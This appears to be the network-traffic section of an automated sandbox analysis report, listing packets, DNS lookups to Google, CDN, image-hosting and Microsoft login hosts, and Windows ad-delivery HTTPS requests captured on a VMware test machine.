May 26, 2022 13:45:24.679390907 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679425955 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679455042 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679482937 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679496050 CEST 49715 443 192.168.2.4 131.253.33.200

May 26, 2022 13:45:24.679508924 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679534912 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679563999 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679608107 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679642916 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679714918 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679744005 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679780960 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679847002 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.679977894 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.680007935 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.680037022 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.680071115 CEST 443 49715 131.253.33.200 192.168.2.4

May 26, 2022 13:45:24.700493097 CEST 443 49718 20.82.210.154 192.168.2.4

May 26, 2022 13:45:24.700494051 CEST 443 49717 20.82.210.154 192.168.2.4

May 26, 2022 13:45:24.734146118 CEST 443 49715 131.253.33.200 192.168.2.4

Timestamp Source Port Dest Port Source IP Dest IP
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Timestamp Source Port Dest Port Source IP Dest IP

May 26, 2022 13:45:24.366730928 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:25.123311996 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:25.873357058 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:26.639028072 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:27.404813051 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:32.761451006 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:32.761889935 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:33.511750937 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:33.512739897 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:33.660403967 CEST 60758 53 192.168.2.4 8.8.8.8

May 26, 2022 13:45:33.686943054 CEST 60647 53 192.168.2.4 8.8.8.8

May 26, 2022 13:45:33.688909054 CEST 53 60758 8.8.8.8 192.168.2.4

May 26, 2022 13:45:33.691999912 CEST 64909 53 192.168.2.4 8.8.8.8

May 26, 2022 13:45:33.714826107 CEST 53 60647 8.8.8.8 192.168.2.4

May 26, 2022 13:45:34.162414074 CEST 54069 53 192.168.2.4 8.8.8.8

May 26, 2022 13:45:34.162502050 CEST 57747 53 192.168.2.4 8.8.8.8

May 26, 2022 13:45:34.162843943 CEST 58171 53 192.168.2.4 8.8.8.8

May 26, 2022 13:45:34.163075924 CEST 57594 53 192.168.2.4 8.8.8.8

May 26, 2022 13:45:34.163153887 CEST 60512 53 192.168.2.4 8.8.8.8

May 26, 2022 13:45:34.184459925 CEST 53 58171 8.8.8.8 192.168.2.4

May 26, 2022 13:45:34.185082912 CEST 53 57594 8.8.8.8 192.168.2.4

May 26, 2022 13:45:34.242783070 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:34.250360966 CEST 51679 53 192.168.2.4 8.8.8.8

May 26, 2022 13:45:34.261985064 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:34.262968063 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:34.281260967 CEST 53 51679 8.8.8.8 192.168.2.4

May 26, 2022 13:45:34.997220993 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:35.756814957 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:36.055583954 CEST 56437 53 192.168.2.4 8.8.8.8

May 26, 2022 13:45:36.074429989 CEST 53 56437 8.8.8.8 192.168.2.4

May 26, 2022 13:45:38.786935091 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:38.787955046 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:38.788258076 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:39.545197964 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:39.545476913 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:39.545486927 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:40.310965061 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:40.315821886 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:40.315840960 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:41.613907099 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:41.664767981 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:42.358340979 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:42.420785904 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:42.884995937 CEST 50802 443 192.168.2.4 216.58.215.238

May 26, 2022 13:45:42.914860010 CEST 443 50802 216.58.215.238 192.168.2.4

May 26, 2022 13:45:42.915271044 CEST 50802 443 192.168.2.4 216.58.215.238

May 26, 2022 13:45:42.943600893 CEST 443 50802 216.58.215.238 192.168.2.4

May 26, 2022 13:45:42.943664074 CEST 443 50802 216.58.215.238 192.168.2.4

May 26, 2022 13:45:42.943702936 CEST 443 50802 216.58.215.238 192.168.2.4

May 26, 2022 13:45:42.943743944 CEST 443 50802 216.58.215.238 192.168.2.4

May 26, 2022 13:45:42.944730997 CEST 50802 443 192.168.2.4 216.58.215.238

May 26, 2022 13:45:42.947643042 CEST 50802 443 192.168.2.4 216.58.215.238

May 26, 2022 13:45:42.978532076 CEST 50802 443 192.168.2.4 216.58.215.238

May 26, 2022 13:45:42.978900909 CEST 50802 443 192.168.2.4 216.58.215.238

May 26, 2022 13:45:43.019601107 CEST 443 50802 216.58.215.238 192.168.2.4

May 26, 2022 13:45:43.020133972 CEST 50802 443 192.168.2.4 216.58.215.238

May 26, 2022 13:45:43.020401955 CEST 443 50802 216.58.215.238 192.168.2.4

UDP Packets
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May 26, 2022 13:45:43.035093069 CEST 443 50802 216.58.215.238 192.168.2.4

May 26, 2022 13:45:43.035145044 CEST 443 50802 216.58.215.238 192.168.2.4

May 26, 2022 13:45:43.035171986 CEST 443 50802 216.58.215.238 192.168.2.4

May 26, 2022 13:45:43.035605907 CEST 50802 443 192.168.2.4 216.58.215.238

May 26, 2022 13:45:43.060740948 CEST 50802 443 192.168.2.4 216.58.215.238

May 26, 2022 13:45:43.113619089 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:43.176100016 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:43.275300026 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:44.035553932 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:45:44.786024094 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:46:32.652287960 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:46:33.403722048 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:46:34.164201021 CEST 137 137 192.168.2.4 192.168.2.255

May 26, 2022 13:47:26.111500978 CEST 138 138 192.168.2.4 192.168.2.255

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 26, 2022 13:45:33.660403967 CEST 192.168.2.4 8.8.8.8 0x4868 Standard query 
(0)

clients2.g
oogle.com

A (IP address) IN (0x0001)

May 26, 2022 13:45:33.686943054 CEST 192.168.2.4 8.8.8.8 0xc514 Standard query 
(0)

accounts.g
oogle.com

A (IP address) IN (0x0001)

May 26, 2022 13:45:33.691999912 CEST 192.168.2.4 8.8.8.8 0xe00e Standard query 
(0)

kit.fontaw
esome.com

A (IP address) IN (0x0001)

May 26, 2022 13:45:34.162414074 CEST 192.168.2.4 8.8.8.8 0xcafa Standard query 
(0)

ka-f.fonta
wesome.com

A (IP address) IN (0x0001)

May 26, 2022 13:45:34.162502050 CEST 192.168.2.4 8.8.8.8 0xd55 Standard query 
(0)

code.jquery.com A (IP address) IN (0x0001)

May 26, 2022 13:45:34.162843943 CEST 192.168.2.4 8.8.8.8 0x7c6d Standard query 
(0)

cdnjs.clou
dflare.com

A (IP address) IN (0x0001)

May 26, 2022 13:45:34.163075924 CEST 192.168.2.4 8.8.8.8 0xbc96 Standard query 
(0)

maxcdn.boo
tstrapcdn.com

A (IP address) IN (0x0001)

May 26, 2022 13:45:34.163153887 CEST 192.168.2.4 8.8.8.8 0x4240 Standard query 
(0)

cdn.jsdelivr.net A (IP address) IN (0x0001)

May 26, 2022 13:45:34.250360966 CEST 192.168.2.4 8.8.8.8 0x19a9 Standard query 
(0)

i.ibb.co A (IP address) IN (0x0001)

May 26, 2022 13:45:36.055583954 CEST 192.168.2.4 8.8.8.8 0x702d Standard query 
(0)

i.ibb.co A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 26, 2022 
13:45:33.688909054 CEST

8.8.8.8 192.168.2.4 0x4868 No error (0) clients2.g
oogle.com

clients.l.google.co
m

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 26, 2022 
13:45:33.688909054 CEST

8.8.8.8 192.168.2.4 0x4868 No error (0) clients.l.
google.com

216.58.215.238 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:33.714826107 CEST

8.8.8.8 192.168.2.4 0xc514 No error (0) accounts.g
oogle.com

142.250.203.109 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:33.714873075 CEST

8.8.8.8 192.168.2.4 0xe00e No error (0) kit.fontaw
esome.com

kit.fontawesome.c
om.cdn.cloudflare.
net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 26, 2022 
13:45:34.073112965 CEST

8.8.8.8 192.168.2.4 0x9ba6 No error (0) gstaticads
sl.l.google.com

216.58.215.227 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:34.094199896 CEST

8.8.8.8 192.168.2.4 0x2ec8 No error (0) cs1227.wpc
.alphacdn.net

192.229.221.185 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:34.179496050 CEST

8.8.8.8 192.168.2.4 0xd55 No error (0) code.jquery.com cds.s5x3j6q5.hwcd
n.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 26, 2022 
13:45:34.183963060 CEST

8.8.8.8 192.168.2.4 0xcafa No error (0) ka-f.fonta
wesome.com

ka-
f.fontawesome.co
m.cdn.cloudflare.n
et

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 26, 2022 
13:45:34.184431076 CEST

8.8.8.8 192.168.2.4 0x4240 No error (0) cdn.jsdelivr.net cdn.jsdelivr.net.cd
n.cloudflare.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 26, 2022 
13:45:34.184459925 CEST

8.8.8.8 192.168.2.4 0x7c6d No error (0) cdnjs.clou
dflare.com

104.17.24.14 A (IP address) IN 
(0x0001)

DNS Queries

DNS Answers
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May 26, 2022 
13:45:34.184459925 CEST

8.8.8.8 192.168.2.4 0x7c6d No error (0) cdnjs.clou
dflare.com

104.17.25.14 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:34.185082912 CEST

8.8.8.8 192.168.2.4 0xbc96 No error (0) maxcdn.boo
tstrapcdn.com

104.18.10.207 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:34.185082912 CEST

8.8.8.8 192.168.2.4 0xbc96 No error (0) maxcdn.boo
tstrapcdn.com

104.18.11.207 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:34.281260967 CEST

8.8.8.8 192.168.2.4 0x19a9 No error (0) i.ibb.co 51.210.32.103 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:34.281260967 CEST

8.8.8.8 192.168.2.4 0x19a9 No error (0) i.ibb.co 51.210.32.106 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:34.281260967 CEST

8.8.8.8 192.168.2.4 0x19a9 No error (0) i.ibb.co 217.182.228.53 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:34.281260967 CEST

8.8.8.8 192.168.2.4 0x19a9 No error (0) i.ibb.co 51.210.32.132 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:34.281260967 CEST

8.8.8.8 192.168.2.4 0x19a9 No error (0) i.ibb.co 51.210.3.236 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:34.919950008 CEST

8.8.8.8 192.168.2.4 0x246a No error (0) dual.part-0032.t-
0009.t-msedge
.net

global-entry-
afdthirdparty-
fallback.trafficman
ager.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 26, 2022 
13:45:34.919950008 CEST

8.8.8.8 192.168.2.4 0x246a No error (0) dual.part-0032.t-
0009.fbs1-t-m
sedge.net

part-0032.t-
0009.fbs1-t-
msedge.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 26, 2022 
13:45:34.919950008 CEST

8.8.8.8 192.168.2.4 0x246a No error (0) part-0032.t-
0009.fbs1-t-
msedge.net

13.107.219.60 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:34.919950008 CEST

8.8.8.8 192.168.2.4 0x246a No error (0) part-0032.t-
0009.fbs1-t-
msedge.net

13.107.227.60 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:36.013339996 CEST

8.8.8.8 192.168.2.4 0x7db5 No error (0) dual.part-0017.t-
0009.t-msedge
.net

global-entry-
afdthirdparty-
fallback.trafficman
ager.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 26, 2022 
13:45:36.013339996 CEST

8.8.8.8 192.168.2.4 0x7db5 No error (0) dual.part-0017.t-
0009.fbs1-t-m
sedge.net

part-0017.t-
0009.fbs1-t-
msedge.net

CNAME 
(Canonical 
name)

IN 
(0x0001)

May 26, 2022 
13:45:36.013339996 CEST

8.8.8.8 192.168.2.4 0x7db5 No error (0) part-0017.t-
0009.fbs1-t-
msedge.net

13.107.219.45 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:36.013339996 CEST

8.8.8.8 192.168.2.4 0x7db5 No error (0) part-0017.t-
0009.fbs1-t-
msedge.net

13.107.227.45 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:36.074429989 CEST

8.8.8.8 192.168.2.4 0x702d No error (0) i.ibb.co 51.210.32.103 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:36.074429989 CEST

8.8.8.8 192.168.2.4 0x702d No error (0) i.ibb.co 51.210.32.106 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:36.074429989 CEST

8.8.8.8 192.168.2.4 0x702d No error (0) i.ibb.co 217.182.228.53 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:36.074429989 CEST

8.8.8.8 192.168.2.4 0x702d No error (0) i.ibb.co 51.210.32.132 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:36.074429989 CEST

8.8.8.8 192.168.2.4 0x702d No error (0) i.ibb.co 51.210.3.236 A (IP address) IN 
(0x0001)

May 26, 2022 
13:45:36.078747988 CEST

8.8.8.8 192.168.2.4 0x8773 No error (0) cs1227.wpc
.alphacdn.net

192.229.221.185 A (IP address) IN 
(0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

HTTP Request Dependency Graph
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arc.msn.com

            
store-images.s-microsoft.com

            
accounts.google.com

            
clients2.google.com

            
logincdn.msauth.net

            
maxcdn.bootstrapcdn.com

            
cdnjs.cloudflare.com

            
i.ibb.co

            
aadcdn.msauth.net

            
login.live.com

            
fs.microsoft.com

            
sls.update.microsoft.com

            
ris.api.iris.microsoft.com

            
displaycatalog.mp.microsoft.com

            
img-prod-cms-rt-microsoft-com.akamaized.net

         

Session ID Source IP Source Port Destination IP
Destination
Port

Process

0 192.168.2.4 49717 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-26 11:45:24 UTC 0 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20220308T094314Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=f6e598a7210f4ba6a67368ba84fd9e2a&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1417890&metered=false&nettype=ethernet&npid=sc-
314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7
%2C1&tl=2&tsu=1417890&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32089&sc=6
Cache-Control: no-cache
MS-CV: Gr8SksEb2E2KQqlU.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

HTTPS Proxied Packets
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2022-05-26 11:45:24 UTC 3 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=1000
Content-Length: 53760
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"2,P425106554-T700342084-C128000000001392709+B+P80+S1,P425106558-T
700342085-C128000000001392729+B+P80+S2"},{"BATCH_REDIRECT_STORE":"1,BB_9NXQXXLFST89_9WZDNC
RFHVFW_9WZDNCRFJ3P2_9NCBCSZSJRSB_9NMPJ99VJBWV_9NBLGGH5FV99_9WZDNCRDFNG7+P0+S0"},
{"BATCH_REDIRECT_STORE":"1,BB_9NBLGGGZM6WM_9WZDNCRFHWD2_9NH2GPH4JZS4_9NBLGGH6J6V
K_9P6RC76MSMMJ_9WZDNCRFJ27N_9N0866FS04W8_9WZDNCRFJ10M_9WZDNCRFJ140_9NC2FBTHCJV8_
9NBLGGH1CQ7L+P0+S0"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: CV3yYaBv4VhjQlEo81FjVBsZOEQmgaOt83FWzENdIYwFEltlUGr8WBt/E4d2sm/2W6wytjNKsEjwZrP
FNErk0MNEco59ejYjmbexgsyo0d6o1eyo9W6HvFV5xmQIPKEzLPNW6irXusiykcPEjHMGUeWeY0rPLehOWgDwoELKm
Gw14pC10UHRRnAS7FCWgutK37iUlB393vne/Loj5/CEiqwYY5Qg0RglGI/TovUQBxJM2Q9ANSFhTukQ5Z19GljnrOV
c0irO4LjJb1ZuBWD2Uz0VJsQRayHqmbadwY/7u3+XYxdifH60gKC4goJljqYDIqggkpNf3oVfwtf2R/rovA==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 26 May 2022 11:45:24 GMT
Connection: close

2022-05-26 11:45:24 UTC 4 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 
22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 
72 64 72 5c 22 3a 5b 7b 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 5
c 22 3a 5c 22 43 44 4d 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 
65 73 74 5c 22 3a 7b 5c 22 73 74 6f 72 65 43 61 6d 70 61 69 67 6e 49 64 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 
74 65 78 74 5c 22 2c 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 69 6e 73 74 61 6c 6c 41 70 70 
5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"u\":\"SubscribedContent\",\"c\":\"
CDM\"}],\"ad\":{\"itemPropertyManifest\":{\"storeCampaignId\":{\"type\":\"text\",\"isOptional\":true},\"installApp\":{\"type\":\"b
oolean\

2022-05-26 11:45:24 UTC 19 IN Data Raw: 5c 22 3a 5c 22 63 6c 69 63 6b 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 5c 22 75 72 69 5c 22 
3a 5c 22 6d 73 2d 77 69 6e 64 6f 77 73 2d 73 74 6f 72 65 3a 5c 2f 5c 2f 70 64 70 5c 2f 3f 70 72 6f 64 75 63 74 69 64 3d 39 
6e 62 6c 67 67 68 35 66 76 39 39 26 6f 63 69 64 3d 65 6d 73 2e 64 63 6f 2e 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 61 
62 6c 65 26 63 63 69 64 3d 35 30 33 64 36 39 64 63 61 62 66 30 34 39 37 31 39 32 61 30 62 38 30 64 65 38 64 34 63 31 
37 63 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 
22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 
5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 
Data Ascii: \":\"click\",\"parameters\":{\"uri\":\"ms-windows-store:\/\/pdp\/?productid=9nblggh5fv99&ocid=ems.dco.startp
rogrammable&ccid=503d69dcabf0497192a0b80de8d4c17c&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"even
t\":\"opportunity\",\"parameters\":{}

2022-05-26 11:45:24 UTC 35 IN Data Raw: 74 61 72 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 63 36 39 62 38 31 32 62 62 30 61 65 34 62 
31 32 62 64 61 38 65 65 34 33 35 38 64 38 66 34 63 64 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 
6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 
74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 5c 22 
61 63 74 69 6f 6e 5c 22 3a 5c 22 6e 6f 4f 70 5c 22 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 4d 65 64 69 75 6d 54 69 6c 
65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 57 69 64 65 54 69 6c 65 
5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 
Data Ascii: tartprogrammable&ccid=c69b812bb0ae4b12bda8ee4358d8f4cd&cid=msft_1\"},\"action\":\"launchUri\"},\"o
nRender\":{\"event\":\"opportunity\",\"parameters\":{},\"action\":\"noOp\"},\"showNameOnMediumTile\":{\"bool\":true},\"s
howNameOnWideTile\":{\"bool\":true},\

2022-05-26 11:45:24 UTC 51 IN Data Raw: 37 2d 61 64 38 31 2d 31 33 31 39 36 66 35 62 61 66 30 30 3f 66 6f 72 6d 61 74 3d 73 6f 75 72 63 65 5c 22 2c 
5c 22 77 69 64 74 68 5c 22 3a 31 34 32 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 34 32 2c 5c 22 73 68 61 32 35 36 5c 22 
3a 5c 22 51 50 5c 2f 4a 45 48 4a 59 57 39 38 6d 36 39 4f 4a 4c 42 42 30 59 48 33 64 78 49 6a 70 75 6d 59 72 74 74 4c 
46 38 62 66 5c 2f 33 66 77 3d 5c 22 2c 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 31 37 30 31 38 7d 2c 5c 22 63 6f 6c 6c 65 
63 74 69 6f 6e 5c 22 3a 7b 5c 22 6e 75 6d 62 65 72 5c 22 3a 32 2e 30 7d 2c 5c 22 6d 65 64 69 75 6d 54 69 6c 65 5c 22 3
a 7b 5c 22 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 
69 63 72 6f 73 6f 66 74 2e 63 6f 6d 5c 2f 69 6d 61 67 65 5c 2f 61 
Data Ascii: 7-ad81-13196f5baf00?format=source\",\"width\":142,\"height\":142,\"sha256\":\"QP\/JEHJYW98m69OJLBB
0YH3dxIjpumYrttLF8bf\/3fw=\",\"fileSize\":17018},\"collection\":{\"number\":2.0},\"mediumTile\":{\"image\":\"https:\/\/store-
images.s-microsoft.com\/image\/a

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

1 192.168.2.4 49718 20.82.210.154 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:45:24 UTC 1 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20220308T094314Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=7c6923c195784c839a5d7a547d2c5801&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1417890&metered=false&nettype=ethernet&npid=sc-
310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=
VMware7%2C1&tl=2&tsu=1417890&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32089&sc=6
Cache-Control: no-cache
MS-CV: Gr8SksEb2E2KQqlU.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2022-05-26 11:45:24 UTC 2 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 167
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}]
X-ARC-SIG: A5m2Cx7yxLY9RtFM0eVmTjHlTb2jpDPANoF9EYRehdgDPTfm7JiS2vYUcY6E0D3pqrgBS2b3MJs1En+
Ai1pVPklJVGEyzdkLZ/5Gcy6LrGDuZkg0ECmrxSkG0hy0m+03KUNEW6kPUU8XTXobVSUEler8H2wK9e5IC4DAHDalT
NghTHDfsgKUJnqktcWN7pJUoO9KPVCnoqnv3AUJyOrAc+pdAb0LsnzBaPnsvt6nChQ3Cm0mXT4HZJ2TVQkuLz5bh/p
CDv5GZhqoxsjgs36mOX0Ujn7IRiCgqA6FXAD1NUv7s1YyjgRGclslHG2fRfviz/OizOq7Y2cq+zlfUfH6vw==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 26 May 2022 11:45:24 GMT
Connection: close

